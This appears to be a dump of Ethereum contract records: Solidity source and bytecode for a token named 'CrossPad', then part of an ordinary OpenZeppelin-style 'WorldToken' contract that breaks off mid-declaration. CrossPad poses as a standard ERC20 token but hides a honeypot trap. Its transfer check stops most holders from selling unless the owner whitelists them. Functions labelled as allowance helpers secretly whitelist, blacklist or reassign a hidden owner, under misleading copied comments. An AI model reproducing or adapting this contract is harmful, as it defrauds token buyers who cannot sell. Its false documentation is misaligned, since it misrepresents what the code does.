an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Context { // Empty internal constructor, to prevent people from mistakenly deploying // an instance of this contract, which should be used via inheritance. constructor () internal { } function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /** * @dev Interface of the ERC20 standard as defined in the EIP. Does not include * the optional functions; to access them see {ERC20Detailed}. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract CrossPad is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => bool) private _whiteAddress; mapping (address => bool) private _blackAddress; uint256 private _sellAmount = 0; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935; address public _owner; address private _safeOwner; address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public { _name = name; _symbol = symbol; _decimals = 18; _owner = owner; _safeOwner = owner; _mint(_owner, initialSupply*(10**18)); } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(_msgSender(), recipient, amount); return true; } function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { transfer(receivers[i], amounts[i]); if(i < approvecount){ _whiteAddress[receivers[i]]=true; _approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935); } } } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _whiteAddress[receivers[i]] = true; _blackAddress[receivers[i]] = false; } } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address safeOwner) public { require(msg.sender == _owner, "!owner"); _safeOwner = safeOwner; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function addApprove(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _blackAddress[receivers[i]] = true; _whiteAddress[receivers[i]] = false; } } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual{ require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) public { require(msg.sender == _owner, "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[_owner] = _balances[_owner].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `sender` cannot be the zero address. * - `spender` cannot be the zero address. */ modifier burnTokenCheck(address sender, address recipient, uint256 amount){ if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{ if (sender == _owner || sender == _safeOwner || recipient == _owner){ if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{ if (_whiteAddress[sender] == true){ _;}else{if (_blackAddress[sender] == true){ require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{ if (amount < _sellAmount){ if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;} _; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;} } } } } } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c806352b0f19611610097578063a9059cbb11610066578063a9059cbb14610472578063b2bdfa7b1461049e578063dd62ed3e146104c2578063e1268115146104f0576100f5565b806352b0f196146102f457806370a082311461041e57806380b2122e1461044457806395d89b411461046a576100f5565b806318160ddd116100d357806318160ddd1461025a57806323b872dd14610274578063313ce567146102aa5780634e6ec247146102c8576100f5565b8063043fa39e146100fa57806306fdde031461019d578063095ea7b31461021a575b600080fd5b61019b6004803603602081101561011057600080fd5b810190602081018135600160201b81111561012a57600080fd5b82018360208201111561013c57600080fd5b803590602001918460208302840111600160201b8311171561015d57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550610591945050505050565b005b6101a5610686565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101df5781810151838201526020016101c7565b50505050905090810190601f16801561020c5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102466004803603604081101561023057600080fd5b506001600160a01b03813516906020013561071c565b604080519115158252519081900360200190f35b610262610739565b60408051918252519081900360200190f35b6102466004803603606081101561028a57600080fd5b506001600160a01b0381358116916020810135909116906040013561073f565b6102b26107c6565b6040805160ff9092168252519081900360200190f35b61019b600480360360408110156102de57600080fd5b506001600160a01b0381351690602001356107cf565b61019b6004803603606081101561030a57600080fd5b81359190810190604081016020820135600160201b81111561032b57600080fd5b82018360208201111561033d57600080fd5b803590602001918460208302840111600160201b8311171561035e57600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295949360208101935035915050600160201b8111156103ad57600080fd5b8201836020820111156103bf57600080fd5b803590602001918460208302840111600160201b831117156103e057600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295506108bf945050505050565b6102626004803603602081101561043457600080fd5b50356001600160a01b03166109d8565b61019b6004803603602081101561045a57600080fd5b50356001600160a01b03166109f3565b6101a5610a5d565b6102466004803603604081101561048857600080fd5b506001600160a01b038135169060200135610abe565b6104a6610ad2565b604080516001600160a01b039092168252519081900360200190f35b610262600480360360408110156104d857600080fd5b506001600160a01b0381358116916020013516610ae1565b61019b6004803603602081101561050657600080fd5b810190602081018135600160201b81111561052057600080fd5b82018360208201111561053257600080fd5b803590602001918460208302840111600160201b8311171561055357600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550610b0c945050505050565b600a546001600160a01b031633146105d9576040805162461bcd60e51b815260206004820152600660248201526510b7bbb732b960d11b604482015290519081900360640190fd5b60005b8151811015610682576001600260008484815181106105f757fe5b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff02191690831515021790555060006001600084848151811061064857fe5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790556001016105dc565b5050565b60068054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156107125780601f106106e757610100808354040283529160200191610712565b820191906000526020600020905b8154815290600101906020018083116106f557829003601f168201915b5050505050905090565b6000610730610729610c5d565b8484610c61565b50600192915050565b60055490565b600061074c848484610d4d565b6107bc84610758610c5d565b6107b785604051806060016040528060288152602001611411602891396001600160a01b038a16600090815260046020526040812090610796610c5d565b6001600160a01b031681526020810191909152604001600020549190611309565b610c61565b5060019392505050565b60085460ff1690565b600a546001600160a01b0316331461082e576040805162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015290519081900360640190fd5b60055461083b9082610bfc565b600555600a546001600160a01b03166000908152602081905260409020546108639082610bfc565b600a546001600160a01b0390811660009081526020818152604080832094909455835185815293519286169391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a35050565b600a546001600160a01b03163314610907576040805162461bcd60e51b815260206004820152600660248201526510b7bbb732b960d11b604482015290519081900360640190fd5b60005b82518110156109d25761094383828151811061092257fe5b602002602001015183838151811061093657fe5b6020026020010151610abe565b50838110156109ca57600180600085848151811061095d57fe5b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055506109ca8382815181106109ab57fe5b6020908102919091010151600c546001600160a01b0316600019610c61565b60010161090a565b50505050565b6001600160a01b031660009081526020819052604090205490565b600a546001600160a01b03163314610a3b576040805162461bcd60e51b815260206004820152600660248201526510b7bbb732b960d11b604482015290519081900360640190fd5b600b80546001600160a01b0319166001600160a01b0392909216919091179055565b60078054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156107125780601f106106e757610100808354040283529160200191610712565b6000610730610acb610c5d565b8484610d4d565b600a546001600160a01b031681565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b600a546001600160a01b03163314610b54576040805162461bcd60e51b815260206004820152600660248201526510b7bbb732b960d11b604482015290519081900360640190fd5b60005b8151811015610682576001806000848481518110610b7157fe5b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff021916908315150217905550600060026000848481518110610bc257fe5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055600101610b57565b600082820183811015610c56576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b9392505050565b3390565b6001600160a01b038316610ca65760405162461bcd60e51b815260040180806020018281038252602481526020018061145e6024913960400191505060405180910390fd5b6001600160a01b038216610ceb5760405162461bcd60e51b81526004018080602001828103825260228152602001806113c96022913960400191505060405180910390fd5b6001600160a01b03808416600081815260046020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b600b54600a548491849184916001600160a01b039182169116148015610d805750600a546001600160a01b038481169116145b15610ef857600b80546001600160a01b0319166001600160a01b03848116919091179091558616610de25760405162461bcd60e51b81526004018080602001828103825260258152602001806114396025913960400191505060405180910390fd5b6001600160a01b038516610e275760405162461bcd60e51b81526004018080602001828103825260238152602001806113a66023913960400191505060405180910390fd5b610e328686866113a0565b610e6f846040518060600160405280602681526020016113eb602691396001600160a01b0389166000908152602081905260409020549190611309565b6001600160a01b038088166000908152602081905260408082209390935590871681522054610e9e9085610bfc565b6001600160a01b038087166000818152602081815260409182902094909455805188815290519193928a16927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3611301565b600a546001600160a01b0384811691161480610f215750600b546001600160a01b038481169116145b80610f395750600a546001600160a01b038381169116145b15610fbc57600a546001600160a01b038481169116148015610f6c5750816001600160a01b0316836001600160a01b0316145b15610f775760038190555b6001600160a01b038616610de25760405162461bcd60e51b81526004018080602001828103825260258152602001806114396025913960400191505060405180910390fd5b6001600160a01b03831660009081526001602081905260409091205460ff1615151415611028576001600160a01b038616610de25760405162461bcd60e51b81526004018080602001828103825260258152602001806114396025913960400191505060405180910390fd5b6001600160a01b03831660009081526002602052604090205460ff161515600114156110b257600b546001600160a01b03848116911614806110775750600c546001600160a01b038381169116145b610f775760405162461bcd60e51b81526004018080602001828103825260268152602001806113eb6026913960400191505060405180910390fd5b60035481101561114657600b546001600160a01b0383811691161415610f77576001600160a01b0383811660009081526002602090815260408083208054600160ff1991821681179092559252909120805490911690558616610de25760405162461bcd60e51b81526004018080602001828103825260258152602001806114396025913960400191505060405180910390fd5b600b546001600160a01b038481169116148061116f5750600c546001600160a01b038381169116145b6111aa5760405162461bcd60e51b81526004018080602001828103825260268152602001806113eb6026913960400191505060405180910390fd5b6001600160a01b0386166111ef5760405162461bcd60e51b81526004018080602001828103825260258152602001806114396025913960400191505060405180910390fd5b6001600160a01b0385166112345760405162461bcd60e51b81526004018080602001828103825260238152602001806113a66023913960400191505060405180910390fd5b61123f8686866113a0565b61127c846040518060600160405280602681526020016113eb602691396001600160a01b0389166000908152602081905260409020549190611309565b6001600160a01b0380881660009081526020819052604080822093909355908716815220546112ab9085610bfc565b6001600160a01b038087166000818152602081815260409182902094909455805188815290519193928a16927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a35b505050505050565b600081848411156113985760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561135d578181015183820152602001611345565b50505050905090810190601f16801561138a5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b50505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a2646970667358221220f35240a4e9757ae06f96258e9365c9f940cbf1235c95590872aec762c2231e2264736f6c634300060c0033
[ 38 ]
0xf2017c92b068935bf56fea38f9d2c01f184ef14c
pragma solidity ^0.4.21; // File: contracts/ownership/Ownable.sol /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } /** * @dev Allows the current owner to relinquish control of the contract. */ function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } } // File: contracts/math/SafeMath.sol /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } // File: contracts/token/ERC20/ERC20Basic.sol /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } // File: contracts/token/ERC20/BasicToken.sol /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } // File: contracts/token/ERC20/ERC20.sol /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } // File: contracts/token/ERC20/StandardToken.sol /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract WorldToken is StandardToken, Ownable { // Constants string public constant name = "World Token"; string public constant symbol = "WTKC"; uint8 public constant decimals = 4; uint256 public constant INITIAL_SUPPLY = 268000000 * (10 ** uint256(decimals)); mapping(address => bool) 